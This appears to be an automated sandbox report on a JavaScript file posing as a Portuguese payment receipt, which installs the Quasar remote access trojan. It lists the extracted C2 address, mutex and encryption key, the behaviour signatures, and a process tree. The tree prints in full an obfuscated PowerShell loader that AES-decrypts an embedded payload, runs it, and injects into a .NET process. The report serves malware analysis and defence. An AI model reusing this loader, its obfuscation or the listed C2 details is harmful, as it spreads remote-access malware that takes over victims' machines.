Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/07/2024, 00:07

General

  • Target
    Comprovante-Pagamento_66a04578f18a3.js
  • Size 14KB
  • Sample240724-aebc5swfmk
  • SHA256 8f3478dc58734aa71c8f670478db1df0306c31dbe318ed1907b3e3c29705e904
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • quasar

Version
  • 2.8.0.1

Botnet
  • j4s0nツ

C2
  • 191.96.79.79:5552

Mutex
  • k0xu0yaV18JcyOu4RW

Attributes
  • encryption_key

    dfDMgawnkTln5Mq1lzTq

  • install_name

    Venom.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Venom Client Startup

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Comprovante-Pagamento_66a04578f18a3.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Drops startup file
    • Suspicious use of WriteProcessMemory
    PID:5088
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI39748959011625083121032753780224CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIvfRL0kJXBZM23JFBk0zOfPif9Zy3RKxvYKfjsEu7j/A+X2UzWBrPzw+Ar4NvvblE7nwrwtmbZHONPM783yKiWETB26gNBVf1iumIHibmu5MQ972/tX/i0Ro9bHC2uPCRYxYM3QYelO7tNG12v0zh8gTPUgyFns9wYnarxx9EM7xJiX5fUjN3+YKm6ZuFCHpfLXOxuymPIKp6T8e2B93VDQbKHqej515P5Bh55vUysxq0gHcNT/omCutQGF6tyLLI+57N76Pmq1cIQGHZDkjgrRo+E0ibpa2cBNVR4MTzQtMfBxJSe8ukHgpdfpniJcFj6mEOeupakdbnyXxfSXMZLnm8pEOZJTXGJDosEqOZXPc0tgHh0MlEEHK+LcmHl+KvyIHeCY1U1P3QC5hhZVjvACAMdH1EFYhwPQUK7C96FnRZ6w9bXO7BmZO5tkEJe8S8RELmvPJEftwGlxKxHlulZY5sycLfmmlGjeZ+J5txwNKEQ6TCXZCXssRZFKtlk9LZlPUyyDuVcoOu4IVnETEBzs+Tvg+4TcF/hPBLdtgrPN/E7QgM6yj+D17WsRf+N68uHWhE85yKMCBO86GzHr0FecJ1tHXYnsV0UKVvqYwgpBy4NFcI4YfAHBHDT5e6xdQ+W4d2QpmnmeoyrsEOPLTWA4+Fdg2AJcc4O+iH9hIcrsBNGhf7+fCircXeU3IEJ5dJmkN66fctRuuRNspct2ccjGFZkq19xvX8EFPxfAtnLoif/5LERLbd96eIUld7jVAqDnyfLOrHW0gi9MubjSLlboyprVWHbYWqIeyRKjP8H6EJWpne5WHrdaT7VUsfPlwgykEqU1OEvKJPUJKER5k1124A9gDEnOET/N6479aV6odtefmuJuz50Zy/3fixG3vzQjhQzhCnRtoHExKsjugupxnPoEjs2LfuKeIlEj9KDdED0CM1oATsuNd9slVSx31jT9tsCkABBsV41hEtBAm+z9v7k3oA/KYfzXF+EohXqzS57/85LNbFHiXaOstjtIy8ZZpJjX8wVXQu9AWIZxu29XVInNkOPp9GA6eSu2P3XexGRR+vicC9XVMgOZX5rjXbkI0uMQidbIU5NY6K/BFp1/1NGSSHdKOqXQB9aAacbWeARNTKmi41Nmo5fTznxhd/VY/6V1eqMiDEypPtXNDBnX//s8zJPqMF+tv7qqqel2YhZoYdNhqJPu1wsAT3axbD36RcOpwLnHA8kUZv8nSze7kYAulCLOXyN0kdpzkSZxO+vt+r5lkCxB8UWAZtI7U7uOPbZ3JxF3EbdxAQI06uFfd213K8cWSZmWo7Hl0fKe4azGjofI8ZQb+rRqnO2L4/q8n5NaUGd9n6dseYEXodKkmG3Cyol8xmt4KnO+nhFpWVOk0ZhHxbDqKaCf6yh3qV73lSqBOX9MdZYQdnbzcpGy+EZheuhO3MA7rQkKeNMsBO8HYdpSftb8x3oX53oFInvoq0ckDtd/NfO1iFF8MpSAm+H/0NoKhRBup9oQttsEArE1hr8xme6qdzHe9sPw0gtUfaaP+OYU3+XgDAjG4RYqhGjzmy6ypmPvLOWNK+ioU5oq2k9F3RTmwloBW5r5BxZ4BPAxZsOzWQghgBDQ89HY1eBPiIFoplNOp+eYQpcEkDn1r6rHgbnIN5G70vprMV7I+lt+X342Fce0131DwCiXMWrk90GIxgNLCaNUsxO1AGoSganN7kh2tRIKcGgmhWctte5H+nVMRKpiOtmoBgTGmhKf5KutbhR5WcC6QB29gp99/Bo3FDicJV+uIc6u/3oU5lQmdMZNKLLW83a4qfNelOxVPLVs/sDZcRP8r1za4=CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:228
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:232

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        paste1[1].txt

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\3WWFCFW4\paste1[1].txt
        • Size 129B
        • SHA256 e9aeea20f4493d81619b994399f2cd29dfd28844be0f60b5a2dd0ff7b40c11e4
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_adtkisob.lw2.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_adtkisob.lw2.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        memory/228-32-0x00007FFB22CD0000-0x00007FFB23791000-memory.dmp

        memory/228-14-0x00007FFB22CD3000-0x00007FFB22CD5000-memory.dmp

        memory/228-24-0x00000275C95E0000-0x00000275C9602000-memory.dmp

        memory/228-25-0x00007FFB22CD0000-0x00007FFB23791000-memory.dmp

        memory/228-26-0x00007FFB22CD0000-0x00007FFB23791000-memory.dmp

        memory/228-27-0x00007FFB22CD0000-0x00007FFB23791000-memory.dmp

        memory/228-28-0x00000275D9AB0000-0x00000275D9C16000-memory.dmp

        memory/232-29-0x0000000000400000-0x00000000004EC000-memory.dmp

        memory/232-33-0x00000000058D0000-0x0000000005E74000-memory.dmp

        memory/232-34-0x00000000053D0000-0x0000000005462000-memory.dmp

        memory/232-35-0x0000000005470000-0x00000000054D6000-memory.dmp

        memory/232-36-0x00000000061A0000-0x00000000061B2000-memory.dmp

        memory/232-37-0x00000000066E0000-0x000000000671C000-memory.dmp

        memory/232-38-0x00000000069E0000-0x00000000069EA000-memory.dmp